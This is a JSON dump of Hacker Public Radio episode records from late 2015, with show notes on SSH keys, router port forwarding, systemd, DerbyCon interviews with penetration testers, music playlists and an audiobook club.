                                                            • hpr1897\n(2015-11-10) \"Installing Windows 7 Ultimate\"\nby swift110.\n
                                                              • Comment 1:\nGuy Watkins on 2015-11-10:\n\"Update the firmware\"
                                                              • Comment 2:\nm l hunt on 2015-11-10:\n\"Enjoyed your show.\"
                                                              • \n

                                                            • \n
                                                            • hpr1898\n(2015-11-11) \"Free my music!\"\nby Alpha32.\n
                                                              • Comment 1:\nA Shadowy Figure on 2015-11-10:\n\"By-Tor and the Snow Dog Approve\"
                                                              • \n

                                                            • \n
                                                            • hpr1902\n(2015-11-17) \"My Linux Tool Box\"\nby Fin.\n
                                                              • Comment 1:\nDave Morriss on 2015-11-23:\n\"Nice list\"
                                                              • Comment 2:\nzloster on 2015-11-28:\n\"Nice list\"
                                                              • \n

                                                            • \n
                                                            • hpr1903\n(2015-11-18) \"Some further Bash tips\"\nby Dave Morriss.\n
                                                              • Comment 1:\nKen Fallon on 2015-11-18:\n\"Another gem\"
                                                              • Comment 2:\nDave Morriss on 2015-11-23:\n\"Thanks Ken\"
                                                              • \n

                                                            • \n
                                                            • hpr1904\n(2015-11-19) \"Windows Command Line Tips and Tricks\"\nby OnlyHalfTheTime.\n
                                                              • Comment 1:\nMr. Young on 2015-11-19:\n\"Thanks\"
                                                              • Comment 2:\nFrank on 2015-11-25:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1906\n(2015-11-23) \"Apt Spelunking 2: tvtime, phatch, and xstarfish\"\nby Windigo.\n
                                                              • Comment 1:\nDave Morriss on 2015-11-28:\n\"Some interesting packages\"
                                                              • \n

                                                            • \n
                                                            • hpr1907\n(2015-11-24) \"Charlie Reisinger and Penn Manor\"\nby klaatu.\n
                                                              • Comment 1:\nJonathan Kulp on 2015-11-25:\n\"Excellent \"
                                                              • \n

                                                            • \n
                                                            • hpr1908\n(2015-11-25) \"Arduino Pumpkin\"\nby droops.\n
                                                              • Comment 1:\nDave Morriss on 2015-11-28:\n\"Loved this!\"
                                                              • \n

                                                            • \n
                                                            • hpr1909\n(2015-11-26) \"Creating an Open, Embedded-Media Music Textbook\"\nby Jon Kulp.\n
                                                              • Comment 1:\nMike Ray on 2015-11-26:\n\"Calibre cli\"
                                                              • Comment 2:\nJonathan Kulp on 2015-11-26:\n\"Valuing Musicians\"
                                                              • Comment 3:\nMr. Young on 2015-11-26:\n\"Great show\"
                                                              • \n

                                                            • \n
                                                            • hpr1910\n(2015-11-27) \"QMMP--The Qt-based MultiMedia Player\"\nby Frank Bell.\n
                                                              • Comment 1:\nMatt on 2015-11-27:\n\"I didn't know this project existed.\"
                                                              • Comment 2:\nFrank on 2015-11-28:\n\"Thanks\"
                                                              • Comment 3:\nAudiobooks lover on 2015-11-29:\"[no title]\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1917,"date":"2015-12-08","title":"OpenSource.com","duration":888,"summary":"Klaatu interviews Rikki Endsley from opensource.com","notes":"

                                                            \nKlaatu interviews Rikki Endsley from https://opensource.com, a community-driven website covering news and events in the open source world. Klaatu sometimes contributes to https://opensource.com, so this interview is tainted and biased. Beware!\n

                                                            ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"open source, journalism","version":0,"downloads":0,"valid":1}, {"id":1918,"date":"2015-12-09","title":"DerbyCon Interview with Dave Kennedy","duration":197,"summary":"Dave Kennedy talks about a capture the flag contest","notes":"

                                                            \nDavid Kennedy (ReL1K) is a security ninja and penetration tester that likes to write code, break things, and develop exploits. Dave is a Chief Information Security Officer (CISO) for a Fortune 1000. Dave is on the Back|Track and Exploit-Database development team and a core member of the Social-Engineer podcast and framework. David continues to contribute to a variety of open-source projects. David had the privilege in speaking at some of the nations largest conferences on a number of occasions including BlackHat, Defcon and Shmoocon. David is the creator of the Social-Engineer Toolkit (SET), Fast-Track, modules/attacks for Metasploit, and has released a number of public exploits. David heavily co-authored the Metasploit Unleashed course available online and has a number of security related white-papers in the field of exploitation. David has a book soon to be released in June from NoStarch Press, “Metasploit: A Penetration Testers Guide”. David is one of the founders of DerbyCon, a hacker con located in Louisville, Kentucky. Lastly, David worked for three letter agencies during his U.S Marine Corp career in the intelligence field specializing in red teaming and computer forensics.\n

                                                            \n

                                                            \nhttps://www.derbycon.com/talks-2011/\n

                                                            ","hostid":79,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,penetration testing,metasploit,DerbyCon","version":0,"downloads":0,"valid":1}, {"id":1919,"date":"2015-12-10","title":"DerbyCon Interview with Paul Koblitz","duration":284,"summary":"A brief interview with a pen tester","notes":"

                                                            \nXoke interviews Paul Koblitz (@ph4que), Senior Security Consultant at TrustedSec focusing on physical penetration. Also in the shownotes is a template for a 'loid' which Paul discusses in the interview as his favourite tool.\n

                                                            \n","hostid":79,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,penetration testing,loid","version":0,"downloads":0,"valid":1}, {"id":1920,"date":"2015-12-11","title":"21 - SSH Authentication - Keys","duration":1119,"summary":"We introduce the idea of using public/private key pairs for authentication","notes":"

                                                            \nWhen you first try to login to a remote server you need to authenticate yourself, which means you have to demonstrate that you have rights to be on that server. You can do this in several ways:\n

                                                            \n\n
                                                              \n
                                                            • Password You authenticate to the server by typing in your password. This is easy because you can generally remember your password, and it means you can easily login from any computer with that knowledge. This is still the most common authentication mechanism for SSH. It is also the least secure.\n
                                                            • \n
                                                            • Public Key This is much more secure. It involves the creation of a key pair, of course. It is possible to use a key pair generated by PGP or GPG in the most current versions (version 2.0.13 introduced support for this). But there is a long established method using the Unix program ssh-keygen. This is very similar to generating a key pair as we discussed earlier. You run the program ssh-keygen, harvest some entropy, generate a passphrase to protect it, and so on.\n
                                                            • \n
                                                            \n\n

                                                            \nFor more go to https://www.zwilnik.com/?page_id=733 \n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"ssh, client, encryption, keys","version":0,"downloads":0,"valid":1}, {"id":1921,"date":"2015-12-14","title":"How to run a conference","duration":700,"summary":"How to organise and run a conference, and what can go wrong.","notes":"

                                                            \nThe slides that this podcast are based upon can be found here:\n

                                                            \n

                                                            \nhttps://docs.google.com/presentation/d/1_fkpXmW7ruYXOZBzXG5wGuNeFV_JPCA7G2A7qTMlN8g/edit?usp=sharing\n\n

                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"conference,PyCon Australia,linux.conf.au","version":0,"downloads":0,"valid":1}, {"id":1922,"date":"2015-12-15","title":"The case to backup Google email.","duration":57,"summary":"A quick example of how I imported a backup of Gmail.","notes":"

                                                            \nGoogle Takeout, good for backup of gmail, or anything else from the Google-verse.\n

                                                            \n\n\n

                                                            \nThunderbird email client\n

                                                            \n\n\n

                                                            \nImportExportTools for Thunderbird\n

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"google, email, thunderbird, backup, export","version":0,"downloads":0,"valid":1}, {"id":1923,"date":"2015-12-16","title":" Klaatu and System76","duration":479,"summary":"Klaatu interviews Sam about kjd newest line of System76 computers","notes":"

                                                            \nKlaatu interviews Sam about kjd newest line of System76 computers, now with an all metal body! (the computers, not Klaatu, or Sam)\n

                                                            \n

                                                            \nhttps://system76.com/\n

                                                            ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"laptop, heavy metal, apple, mac, ubuntu, system76","version":0,"downloads":0,"valid":1}, {"id":1924,"date":"2015-12-17","title":"Port Forwarding","duration":1366,"summary":"In HPR 1900, Ahuka suggests changing the default ssh port, I ask why not employ port forwarding?","notes":"

                                                            Port Forwarding

                                                            \n

                                                            In Episode 1900, Ahuka advised you not to expose the ssh service to the Internet on the default port 22, there we agree. This is called "Security Through Obscurity". Whenever possible, server functions exposed to the Internet should be on non-default port numbers (the exception being HTTP on a public web server). I disagree however, in Ahuka's method of changing the port. He said you should change the port on the server itself:

                                                            \n

                                                            From https://www.cyberciti.biz/tips/setup-ssh-to-run-on-a-non-standard-port.html

                                                            \n

                                                            Open /etc/ssh/sshd_config file and look for line Port 22 and change line to Port 2222. Restart sshd server. systemctl restart sshd

                                                            \n

                                                            Sshd is running on a non-standard port, connection attempts to the system will fail. You need to connect using following command:

                                                            \n
                                                            $ ssh -p 2222 user@your-ip OR $ ssh -p 2222 user@you.homenetwork.org
                                                            \n

                                                            This could make sense if you manage a business or school network, where you have numerous users within your network with whom you share varying levels of trust. Still, I don't think anyone who can brute force your shh logon or shared keys would be stymied by a simple change of ports. But Ahuka also mentioned home networks, and I think we would rather keep things simple. I would humbly suggest keep ssh servers set to port 22 internally, and using a technology called "port forwarding" available on most consumer routers. Port forwarding is simply an administrator configured table that redirects incoming traffic on one IP port to a specific internal IP address and IP port on your internal network. In fact, unless you have only one PC connected directly to you ISP with no router or firewall, you will still need to setup port forwarding to tell the router which machine on your network the for which incoming communication is intended.

                                                            \n

                                                            In other words, let's say you've enabled ssh on port 40001 of a machine with an internal address of 192.168.1.5. You try to login remotely via ssh on port 40001 using the external IP assigned to you by your ISP (which is taken from a range assigned to them by the IANA). The external IP of your router should be displayed on your router's status page, or you could type "what is my IP" into Google. Instead of an IP in the range 192.168.x.y, like you are probably using internally, your external address will be in the Class A or B range, for instance 73.149.12.124.

                                                            \n

                                                            So let's say you have ssh server running on port 40001 on a machine with IP adddress 192.168.1.5 on your home network. Your server has an external address of 73.149.12.124. You are at work or on vaction or whatever and you want to ssh into that machine on your home network, i.e,

                                                            \n
                                                            ssh -p 40001 you@73.149.12.124
                                                            \n

                                                            Unless the router itself supports ssh server (entirely possible with third party Linux based firmwares like Open-WRT and DD-WRT), if you haven't configured port fowarding, the router won't have any idea what to do with an incoming request on port 40001. You need to set up your port forwarding table in your router (don't worry, it's all point and click). IP forwarding may be under Advanced, in the menus, or Security, or Firewall, or a combination of the above.

                                                            \n

                                                            You will be asked to enter the external port number (in our example, 40001), TCP or UDP or both (in our case, ssh is both, so you may have to create two separate entries), the internal IP address (in our example 192.168.1.5) and the internal port number (if you changed it internally as Ahuka recommended, in our example 40001, but, and this is the whole point of this podcast, you are going to have to set up port forwarding anyway, so why change the port number locally in the first place? If the terms TCP (Transport Control Protocol) and UDP (User Data Protocol) are unfamiliar to you, the difference can easily be explained. Using TCP, the computer transmitting data stops every few packets (I think the default is three, but don't hold me to it) until it gets an acknowledgment from the receiver that the packets were successfully received, then the sender continues. With UDP, the sender blurts out the whole transmission without caring whether the receiver go it or not.

                                                            \n

                                                            Wikipedia has a great article on official and unofficial standardized port numbers. Once you get into five digits, conflicts to already assigned ports are rare, but it's still best to consult the Wiki. The higher numbers are generally not officially assigned, some particular software product is just "squatting" on the number. In fact, using the port number for a technology you are certain will never be used on your network may further obfuscate the service for which you are actually using it. You may think port 40001 is surely high enough to be free of conflict, but the Wiki says 40000 is used by "SafetyNET p Real-time Industrial Ethernet protocol".

                                                            \n

                                                            Another advantage of port redirection is you could use a different external port number with every host on your network, i.e., 40001 redirects to you server, 40002 redirects to your desktop, 40003 redirects to the old laptop in the kid's room, etc. Personally, I'd only have port redirection into a single machine that is connected persistently (like a server), and the ssh from it into other hosts on the network (yes, this would be a connection of at least three nested shells). You can even run graphical programs over ssh with the -X argument, but I'm leaving that on for later discussion. Of course, we will loose that functionality when we move from x-server to Wayland, so if you need a GUI you may have to investigate technologies like VNC or VPN.

                                                            \n

                                                            Of course, everything depends on having a static IP locally on the ssh server (either set on host itself or manual assignment of IP on the router, if possible). You either need a static external address on the WAN (i.e., external address as seen from the Internet) side or employ a domain forwarding service. Also keep in mind, once we get Ivp6, everything above goes out the window.

                                                            \n

                                                            Links

                                                            \n","hostid":131,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"ssh,port forwarding,router","version":0,"downloads":0,"valid":1}, {"id":1925,"date":"2015-12-18","title":"Kdenlive Part 1: Introduction to Kdenlive","duration":1085,"summary":"Geddes narrates the first part of Seth Kenlon's An Introduction to Kdenlive","notes":"

                                                            \nThis article has been written by Seth Kenlon and is narrated for you by Geddes. It was first published on 2011-11-16 and some of the commands may have changed slightly. Please see https://opensource.com/life/11/11/introduction-kdenlive for the complete text.\n

                                                            \n\n

                                                            \nSeth Kenlon is an independent multimedia artist, free culture advocate, and UNIX geek. He is one of the maintainers of the Slackware-based multimedia production project, https://slackermedia.ml\n

                                                            \n\n

                                                            \nGNU/Linux has infamously been wanting for a good, solid, professional-level free video editor for years. There have been glimpses of hope here and there, but mostly the editors that have the look and feel of a professional application are prone to blockbuster-worthy crashes, and those that have been stable have mostly been stable because they don't actually do anything beyond very basic editing. Kdenlive changes all of that.\n

                                                            \n

                                                            \nAt the film production facility at which I work, Kdenlive is the Linux editor in production use, and it performs (and frequently out-performs) the Mac boxes in cost, upkeep, flexibility, speed, and stability. This article series seeks to illuminate for professional editors how Kdenlive can replace proprietary tools, nearly as a drop-in replacement.\n

                                                            \n

                                                            \nA good video editor is one that is suitable for anyone wanting to edit video, with powerful features that enable the video professional to do any task required of the job, yet with the simplicity that allows a hobbyist to quickly cut together footage off of a phone or point-and-click camera. Kdenlive can be both of those things, but regardless of the scope of your video project, there are right and wrong ways of doing things. Over the course of five articles, we will review the practical usage and the common set of best practices that will ensure your projects are successful.\n

                                                            \n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kdenlive,opensource.com,Slackermedia","version":0,"downloads":0,"valid":1}, {"id":1926,"date":"2015-12-21","title":"National Measurements Institutes","duration":657,"summary":"A short overview of what these institutes do.","notes":"

                                                            I give a short personal view on what are National Measurements Institutes. More info can be found here:

                                                            \n\n

                                                            One thing not mentioned but related is ISO:

                                                            \n

                                                            https://en.wikipedia.org/wiki/International_Organization_for_Standardization

                                                            ","hostid":301,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"science, measurement, NMI, national measurement institute","version":0,"downloads":0,"valid":1}, {"id":1927,"date":"2015-12-22","title":"Ansible Interview","duration":480,"summary":"Klaatu talks to Ansible at All Things Open conference","notes":"

                                                            \nKlaatu talks to Ansible at All Things Open conference.\n

                                                            \n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"ansible,automation,chef,puppet","version":0,"downloads":0,"valid":1}, {"id":1928,"date":"2015-12-23","title":"Cov's Jams","duration":2028,"summary":"A compilation of libre licensed music that Cov enjoyed listening to","notes":"

                                                            \nThe playlist can be found at https://www.jamendo.com/playlist/500146000/cov-s-jams-001\n

                                                            \n\n
                                                              \n
                                                            1. Cedric Share-The Awakening Part.II (DerFilm Cut Edition) CEDRIC SHARE #piano #technominimal #techno 02:39
                                                            2. \n
                                                            3. VENTO SUL 1 JURA #happy 03:19
                                                            4. \n
                                                            5. Satisfied MAURO DEL MAR (A.K.A. SCÁNDALI) #soundscapes #rock #song 02:06
                                                            6. \n
                                                            7. Deva Dasis TASTE OF DREAM #keyboard #synthesizer #lounge 04:21
                                                            8. \n
                                                            9. Im In Love With A Man ( I Can't Stand) ROCC NOBLES 03:36
                                                            10. \n
                                                            11. We Have A Problem BILLY KORG #rock 05:35
                                                            12. \n
                                                            13. Libera Me MARIO SALIS #strings #sad #soundtrack 04:53
                                                            14. \n
                                                            15. Кокарда ДЕВЯТЬ #vocal 05:08
                                                            16. \n
                                                            ","hostid":322,"series":22,"explicit":1,"license":"CC-BY-SA","tags":"music","version":0,"downloads":0,"valid":1}, {"id":1929,"date":"2015-12-24","title":"I Found a Flashlight","duration":820,"summary":"I talk about an amazing flashlight I found while walking to work one day recently","notes":"

                                                            I Found a Flashlight

                                                            \n\n

                                                            A couple of weeks ago on the way to work I found a flashlight (or a \"torch,\" for those folks across the pond). It was rolling around on the street getting run over by cars and seemingly not suffering any damage as result. As soon as it was safe, I walked out into the street and grabbed it and took it with me. A little poking around online showed me that this was no ordinary device, but a police-grade flashlight.

                                                            \n\n\n\n

                                                            I contacted the Lafayette Police Department to find out what kind of flashlights they used and whether anyone had reported one missing. Ordinarily when I find something I don't worry about this, but I discovered that this thing cost quite a lot of money—around $125 on Amazon with a retail price of $225—and if a police officer had lost it I certainly didn't want him going into his own pocket to replace it if I could just give it back to him. The police department wrote back to me saying, yes, this was the kind of flashlight that they issued to their officers but no one was missing one. I also asked the University Police and they said they don't normally issue flashlights but that sometimes officers bought their own and no one had reported missing one.

                                                            \n\n

                                                            After seeing the amazing build quality and absolutely unbelievable light quality this thing produced, I decided to keep it and so I had to buy a charger to recharge the battery. This cost about $28 and now I'm the proud owner of a Streamlight SL-20L flashlight. This is truly one of the greatest tools I've ever had. Listen to the show to hear me sing its praises!

                                                            \n\n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tools, flashlights, safety","version":0,"downloads":0,"valid":1}, {"id":1930,"date":"2015-12-25","title":"A systemd primer","duration":511,"summary":"An introduction to the modern linux init system","notes":"

                                                            1 What is systemd?

                                                            \n

                                                            A dependency system for unix services.
                                                            \nAnd, a set of basic unix services to make a unix system usable.
                                                            \nAnd, a growing list of not quite so basic services

                                                            \n
                                                              \n
                                                            • NTP, networkd, timers (crond/atd)\n
                                                            \n

                                                            From a programmers perspective, it's the mainloop phenomenon.

                                                            \n

                                                            2 Alternatives

                                                            \n

                                                            Solaris: Service Management Facility
                                                            \nMac OSX: launchd
                                                            \nUbuntu: upstart (until recently)

                                                            \n

                                                            3 Replaces

                                                            \n

                                                            SYSV
                                                            \nLSB (actually implements LSB deps)

                                                            \n

                                                            4 Terminology

                                                            \n

                                                            units

                                                            \n
                                                              \n
                                                            • [auto]mount
                                                            • \n
                                                            • swap
                                                            • \n
                                                            • path (inotify triggers)
                                                            • \n
                                                            • socket
                                                            • \n
                                                            • timer (crond/atd)
                                                            • \n
                                                            • service
                                                            • \n
                                                            • slice (cgroup)
                                                            • \n
                                                            • pseudo
                                                                \n
                                                              • device
                                                              • \n
                                                              • snapshot
                                                              • \n
                                                              • scope
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n

                                                            targets

                                                            \n
                                                              \n
                                                            • replace run levels
                                                            • \n
                                                            • default target at boot
                                                            • \n
                                                            • can isolate to just one target
                                                            • \n
                                                            \n

                                                            5 Advantages - Design

                                                            \n

                                                            Proper, explicit dependencies between system compontents
                                                            \nStarts components in parallel
                                                            \nA proper separation of concerns, lots of situations covered.

                                                            \n
                                                              \n
                                                            • configuration files are regular, simple to understand generally small
                                                            • \n
                                                            • OTOH, there are LOTS of options
                                                            • \n
                                                            \n

                                                            Configuration is not runnable shell.

                                                            \n
                                                            [Unit]\nDescription=CUPS Scheduler\nDocumentation=man:cupsd(8)\n\n[Service]\nExecStart=/usr/sbin/cupsd -l\nType=simple\n\n[Install]\nAlso=cups.socket cups.path\nWantedBy=printer.target\n
                                                            \n

                                                            Separate system and user daemons.

                                                            \n

                                                            6 Advantages - Sysadmins

                                                            \n

                                                            Modify configuration without modifying upstream configuration
                                                            \nService watching (startup, watchdog, failure modes)
                                                            \nsystemd-delta

                                                            \n
                                                            [EXTENDED]   /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf\n[EXTENDED]   /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf\n[EQUIVALENT] /etc/systemd/system/default.target → /lib/systemd/system/default.target\n\n3 overridden configuration files found.\n
                                                            \n

                                                            7 Advantages - Programming

                                                            \n

                                                            Removal of some error and security prone code

                                                            \n
                                                              \n
                                                            • socket activation (e.g. privileged ports)
                                                            • \n
                                                            • user/group changing
                                                            • \n
                                                            \n

                                                            8 Advantages - Provisioning

                                                            \n

                                                            standardized cgroup controls
                                                            \ncontainers
                                                            \ndebootstrap ; systemd-spawn-boot\n* systemd takes care of all pseudo file systems for you

                                                            \n

                                                            9 Advantages - Users

                                                            \n

                                                            quick to boot
                                                            \ncan reduce load later on (services start & stop as required)

                                                            \n

                                                            10 Examples

                                                            \n

                                                            Color legend:

                                                            \n
                                                              \n
                                                            • black = Requires
                                                            • \n
                                                            • dark blue = Requisite
                                                            • \n
                                                            • dark grey = Wants
                                                            • \n
                                                            • red = Conflicts
                                                            • \n
                                                            • green = After
                                                            • \n
                                                            \n

                                                            systemd-analyze blame

                                                            \n

                                                            systemd-analyze plot

                                                            \n

                                                            systemd-analyze plot gdm.service

                                                            \n

                                                            11 Disadvantages

                                                            \n

                                                            Journald

                                                            \n
                                                              \n
                                                            • It’s really nice in theory, but in practice I’ve found it to be slow and buggy
                                                            • \n
                                                            \n

                                                            It’s a little new, so LTS distros necessarily have older versions

                                                            \n
                                                              \n
                                                            • el7 has something like 200 patches
                                                            • \n
                                                            \n

                                                            network-online.target is a bit flakey
                                                            \nDBUS

                                                            \n
                                                              \n
                                                            • Unix is a graveyard of IPC, I don't feel DBUS is much better
                                                            • \n
                                                            • KDBUS means it will probably be around for ever.
                                                            • \n
                                                            \n

                                                            12 Quandries

                                                            \n

                                                            Deeply hooked into linux specific details, not portable

                                                            \n
                                                              \n
                                                            • kernel api, cgroups, udev etc.
                                                            • \n
                                                            \n

                                                            Some cool features relient on file system e.g. btrfs for snapshot

                                                            \n

                                                            13 Future

                                                            \n

                                                            I haven’t had a chance to play with networkd yet, but it sounds like it’s going to be very good.

                                                            \n

                                                            14 Questions

                                                            \n

                                                            Migrating

                                                            \n
                                                              \n
                                                            • It depends…
                                                            • \n
                                                            • systemd only supports start/stop/reload
                                                            • \n
                                                            • work with the daemon: oneshot/simple/forking/inetd
                                                            • \n
                                                            • integrate with systemd: notify, watchdog
                                                            • \n
                                                            \n

                                                            Userspace

                                                            \n
                                                              \n
                                                            • Every login, a separate systemd -> user is spawned
                                                            • \n
                                                            • Can override with .config/systemd files
                                                            • \n
                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"systemd,linux","version":0,"downloads":0,"valid":1}, {"id":1931,"date":"2015-12-28","title":"Atomic force microscopy","duration":1566,"summary":"General view of the nanoscale tools. Special interest with Atomic force microscopes AFM","notes":"

                                                            I give a quick overview of what is nanotechnology. go over some of the tools used to view the small scale. I go a bit more in depth with atomic force microscopy.

                                                            \n

                                                            I left many things out that I would like to have said but mostly you can get further information here:

                                                            \n

                                                            https://en.wikipedia.org/wiki/Atomic_force_microscopy

                                                            ","hostid":301,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"science, measurement, nanotechnology, small scale","version":0,"downloads":0,"valid":1}, {"id":1932,"date":"2015-12-29","title":"Klaatu interviews Grafana","duration":478,"summary":"An interview with the Grafana project at All Things Open Conference 2015","notes":"

                                                            \nGrafana provides a powerful and elegant way to create, explore, and share dashboards and data with your team and the world.\n

                                                            \n

                                                            \nGrafana is most commonly used for visualizing time series data for Internet infrastructure and application analytics but many use it in other domains including industrial sensors, home automation, weather, and process control.\n

                                                            \n

                                                            \nhttps://grafana.org\n

                                                            \n\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"go,graph,monitor,devop,admin,server","version":0,"downloads":0,"valid":1}, {"id":1933,"date":"2015-12-30","title":"HPR AudioBookClub 11 Street Candles","duration":8011,"summary":"In this episode, the HPR AudioBookClub reviews Street Candles by David Collins-Rivera.","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub reviews Street Candles by David Collins-Rivera. You can download this AudioBook for free from https://www.cavalcadeaudio.com/.

                                                            \n

                                                            If you liked this book, or are a fan of David Collins-Rivera, you can purchase it from https://www.amazon.com/s?ie=UTF8&page=1&rh=n%3A283155%2Cp_27%3ADavid%20Collins-Rivera.

                                                            \n

                                                            Pre-Spoilers

                                                            \n
                                                              \n
                                                            • Thaj: Great book. Makes me want to go back and re-read the previous book. I wonder how well some of the commentary present in this book will resonate in the future. The story is good enough I have no doubt that it will still be a good read, but I'm not sure if it might loose a bit.
                                                            • \n
                                                            • x1101: I Loved this book. So much so that I listened to it twice. Every chapter is a cliff hanger.
                                                            • \n
                                                            • pokey: I LOVE this AudioBook! The author (Lostinbronx) really made me care about each of the characters. Every chapter is a cliff hanger, and that WORKS precisely because I do care about the characters.
                                                            • \n
                                                            • pegwole: It was a fantastic post modern essay on life. Even though I listened to the wrong AudioBook.
                                                            • \n
                                                            • CrispyoneFifty: Speaking for all of humanity, to all of humanity's future, I say \"you should go download and listen to this AudioBook!\"
                                                            • \n
                                                            \n

                                                            (summary)

                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: Running late, just drinking water. I know LAME!
                                                            • \n
                                                            • x1101: Black Isle Organic Oatmeal Stout. Very little head, a cholate/coffee nose, as well as chocolate/coffee malt notes. Not overly fizzy, but not sudsy at all. Excellent. https://www.blackislebrewery.com/beer/Hibernator-Oatmeal-Stout.html
                                                            • \n
                                                            • pokey: I drank a Six Star Creatine fruit punch because I'm tired of looking like Ejoq. I have to go to the gym after the show, and this stuff seems to help with muscle recovery. It tastes pretty good. There's no funny artificial sweetener after taste, for which I'm very grateful. https://www.sixstarpro.com/products/creatinex3/
                                                            • \n
                                                            • pegwole: It's coffee. Its not a special one either, now shut up.
                                                            • \n
                                                            • CrispyoneFifty: Newcastle Werewolf Blood-Red Ale It's sweet up front, and leaves a sweet after taste, with a punch of bitter in between. You can definitely taste the rye in there too. https://www.beeradvocate.com/beer/profile/342/71106/
                                                            • \n
                                                            \n

                                                            Spoilers Notes

                                                            \nx1101's mental image of Bin Ragensten https://4.bp.blogspot.com/-tBCFYZpXFTE/ULLWzqZ0X9I/AAAAAAAAAQ4/-w4FEX8atL8/s1600/Santa-Claus-Rise-Of-The-Guardians-600x375.jpg \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            The Call of Cthulhu by H. P. Lovecraft\n
                                                            https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3

                                                            \n

                                                            pegwole suggested this AudioBook, and we all thought that horror was a pretty good selection for our October recording.

                                                            \n

                                                            NEXT RECORDING

                                                            \n

                                                            We record the second Tuesday of every month at 20:00 Eastern US time Which = the second Wednesday of each month at 01:00z (unless its daylight saving time, then its the second Tuesday 24:00zhttps://en.wikipedia.org/wiki/ISO_8601#Times If you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org.' We're way behind on publishing, so if you want to join us, get in contact one of these ways and we'll let you know what the current book is.

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":0,"valid":1}, {"id":1934,"date":"2015-12-31","title":"Experiencing the Meegopad T-02 Part two","duration":901,"summary":"Part 2 of the saga of the meegopad T-02","notes":"

                                                            \nPart 2 of \"Experiencing the Meegopad T-02.\n

                                                            \n

                                                            \nMany thanks to all the HPR contributers that inspire such great stories.\n

                                                            \n

                                                            \nGlossary of slang terms to be updated upon show release, along with the list of sound effects contributers.\n

                                                            \n\nSpecial thanks to the following individuals from freesound.org for their sound effects used throughout this episode.
                                                            \n\nRutgermuller
                                                            \njaredi
                                                            \nhybrid34
                                                            \nlintphishx
                                                            \ntimbre
                                                            \ncameronmusic
                                                            \ncr4sht3st
                                                            \nhusky70
                                                            \nmojomills
                                                            \nultradust
                                                            \nconleec
                                                            \ningolyrio
                                                            \ndapperdanial
                                                            \nrobinhood76
                                                            \nunfa
                                                            \nkwahma-02
                                                            \nstephsinger22
                                                            \nlonemonk
                                                            \nreg7783
                                                            \n\nHigher quality stereo copies of this episode in .Flac, Ogg, and MP3 format can be found at the following link.
                                                            \nhttps://drive.google.com/folderview?id=0B6BAm4vn8c7QWnZLbnFib0JPc2M&usp=sharing
                                                            \n\nGlossary of slang terms used in this episode:
                                                            \n\n\"Came unglued\" = going berzerk
                                                            \n\"Sang a little song\" = provided information to law enforcement
                                                            \n\"Still\" = whiskey making apparatus
                                                            \n\"Scoring Barbies\" = Picking up women
                                                            \n\"G-Men\" = Government employees. (Federal agents)
                                                            \n\"Makerspace\" = 3-D Printing facility
                                                            \n\"Johnny Law\" = Law Enforcement
                                                            \n\"C-Note\" = $100.00 bill
                                                            \n\"Speakeasy\" = illegal drinking establishment in prohibition era United States
                                                            \n\"68 Chevelle\" = 1968 Chevrolet 2-door automobile
                                                            \n\"Ratting me out\" = informing on someone
                                                            \n\"Frank Nitty\" = 30's era Gangster, Al Capon's right hand man (Enforcer)
                                                            \n\nDisclaimer:
                                                            \n\nAll characters are fictitious renditions of HPR contributers.
                                                            \nNothing about any individuals character is based on anything other than my personal convenience of using their likenesses in fictitious storytelling.
                                                            \nNo disrespect is intended in any way.
                                                            \n\nThe genre that the character A Shadowy Figure lives in is hard boiled Noir.
                                                            \nNoir reflects a past history that had different standards than we do now.
                                                            \nI do not personally hold those antiquated world views. Nor do I promote them through this work of fiction. I would like to think this artistic creation does provide an opportunity to see how far we've come as a society.
                                                            \n\nBut most of all, I'd like to think that you the listener, are entertained and/or inspired by this presentation.
                                                            \n\nThank you all for your support.
